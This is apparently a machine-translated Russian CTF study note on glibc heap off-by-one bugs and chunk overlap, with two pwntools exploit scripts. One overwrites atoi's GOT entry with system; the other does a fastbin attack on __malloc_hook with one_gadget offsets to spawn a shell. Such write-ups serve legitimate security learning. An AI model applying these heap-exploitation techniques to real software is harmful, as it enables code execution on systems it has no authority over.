моя контактная информация
Почтамезофия@protonmail.com
2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
Основы pwn все еще очень поверхностны. Я просто записываю часть своего опыта обучения.
По мере прохождения исследования будут добавляться дополнительные точки знаний и вопросы.
Краткое изложение информации об отключении от ZIKH26 |
Расширение и перекрытие фрагментов | ctfwiki
С отключением на единицу тесно связаны упомянутые выше расширения и перекрытия фрагментов.
Это часто называют «перекрывающимися блоками».
Зачем создавать перекрывающиеся блоки?
Например, если мы захотим переписать поле заголовка чанка, то есть сегменты prev_size и size, мы точно не сможем изменить его, применив напрямую.
Одна из идей — создать неуместный поддельный фрагмент. Другая, более простая идея — создать перекрывающиеся фрагменты. Изменяя бит размера, часть пользовательских данных большого фрагмента включает заголовок маленького фрагмента, который мы хотим изменить.
Я думаю, что этот вопрос является хорошим примером того, как использовать по одному. Вопросы не очень сложные, а способы использования довольно умные.
Декомпилировать, чтобы найти лазейки,
Здесь есть искусственное отклонение на единицу, и сюда можно записать еще один байт.
Возвращаясь к распределению тем,
Сначала выделяется фрагмент размером 0x10 для хранения некоторой информации, а затем фрагмент выделяется для контента.
Это будет очень ясно, если вы посмотрите на отладку GDB здесь.
Например, макет блока кучи после добавления(0x28,'0'),add(0x10,'1')
Вы можете видеть, что каждый раз, когда мы добавляем, мы сначала высвобождаем чанк, в котором хранится информация о блоке кучи, по младшему адресу, а затем высвобождаем фрагмент, в котором хранится контент.
Затем я заметил, что все операции редактирования и показа выполняются черезИнформация о блоке кучиструктуру в «индекс», тогда, если мы хотим слить libc, мы можем поместить информацию о блоке кучи этого фрагмента *content
Поле модифицируется на адрес полученной таблицы определенной функции. Например, если в этом вопросе используется atoi, то atoi_addr будет распечатан во время показа.
Это связано с ситуацией, аналогичной предыдущей «Небольшому взаимопониманию». Мы не можем напрямую изменять содержимое чанка, который «хранит информацию о блоке кучи», поэтому мы можем более разумно использовать последовательность операций для реализации расширения блока кучи. .
Например, если мы изменим его таким образом, это действительно может привести к расширению и перекрытию блоков кучи.
О конкретном использовании поговорим ниже.
И блок кучи информации, и блок кучи контента будут бесплатными, поэтому в настоящее время в fastbins есть два контейнера размером 0x20 и 0x40.
Конечно, есть некоторые детали, такие как последний упомянутый выбор размера 0x18 и 0x28, а также необходимость резервирования содержимого информационного стека при его изменении.размерполя (иначе окончательная версия не будет иметь достаточной длины для записи) и так далее.
Опыт:
atoi_got = elf.got['atoi']
add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak
libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
edit(1,p64(system))
sla("Your choice :",b"/bin/shx00")
p.interactive()
На самом деле в этом вопросе есть еще один ключевой момент, и именно он меня поначалу смутил. Первоначальное добавление chunk0 EXP Мастера ЗИКХ - 0x18. В моей практике изменение его на 0x10 или 0x20 не сработало, но изменение на 0x28 сработало.
Отладка обнаружила, что при изменении на 0x10, 0x20 наши пользовательские данные не включают следующий фрагмент.prev_sizeиз.
При выделении 0x18, 0x28 и т. д. механизм ptmalloc2 будет повторно использовать сегмент prev_size из next_chunk.
эммм, на самом деле, в конечном счете, я еще недостаточно знаком с кучей. В конце концов, просто взглянув на объяснение в вики, можно увидеть так много знаний, а детали сложны, что их трудно запомнить. Конечно, я сталкивался с этим в реальном бою. После того, как я сам его отлажу и пойму, станет намного лучше.
Ошибка в вопросе здесь.
Когда a2-a1==10 находится в if, то есть когда размер, введенный при редактировании, ровно на 10 больше добавленного размера, происходит отклонение на единицу.
Примерная структура распределения
Или используйте сегмент bss для хранения информации об использовании и использовании фрагмента.*content
Мы все еще можем использовать Off-by-One в сочетании с характеристиками повторного использования размера 0x?8 prev_size для подделки prev_size и размера для запуска прямого (низкого адреса) слияния.
На данный момент вы можете видеть, что слияние инициируется free(2).
На данный момент, если мы добавим (0x80), а затем покажем (1), мы сможем распечатать значение main_arena+88.
Насколько я понимаю, здесь add(0x80) предназначен для разделения несортированного контейнера, чтобы указатель fd (main_arena+88) переместился в сегмент chunk1, который можно отобразить.
На этом этапе происходит утечка базового адреса libc.
Следующие операции выглядят так, как будто они включают в себя множество перекрывающихся блоков кучи, поэтому давайте посмотрим на пошаговую отладку.
Расположение кучи при утечке libc
add(0x68)
(Вырезаем кусок из неотсортированной корзины)
free(1)
(быстрый бин 0x70)
edit(2,p64(malloc_hook-0x23))
(Здесь мы воспользовались тем фактом, что чанк 2 адреса 0x68, запрошенный на предыдущем шаге, перекрывается с чаном 1, который был только что освобожден (для чанка 1 была запрошена вначале))
add(0x68)
(Применительно к чану1, на самом деле это чанк2)
add(0x68)
(Примените, чтобы вернуть fake_chunk по адресу malloc_hook-0x23)
Затем вам нужно использовать realloc для настройки кадра стека, и вы сможете получить оболочку.
Тогда я смогу дозвониться локально, но не удаленно.
Посмотрев опыт Мастера ЗИКХа, мне нужно использовать местный
realloc = libcbase + libc.sym['realloc']
Изменить наrealloc = libcbase + 0x846c0
Затем вам нужно изменить значение one_gadget.
У этих двух one_gadgets сейчас смещение, не знаю почему. Может быть, это как-то связано с настройкой кадра стека? (Узнайте позже)
Играйте в локальный опыт:
add(0x80)
add(0x68)
add(0x80)
add(0x10)
free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed) size:0x91->0x90
edit(1,0x68+10,pl)
free(2) # trigger consolidate
add(0x80)
show(1)
leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)
add(0x68)
free(1)
edit(2,8,p64(malloc_hook-0x23)) # fake_chunk
add(0x68)
add(0x68)
pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)
add(0xFF)
p.interactive()
местный:
Дистанционно:
Подводя итог, это сложно.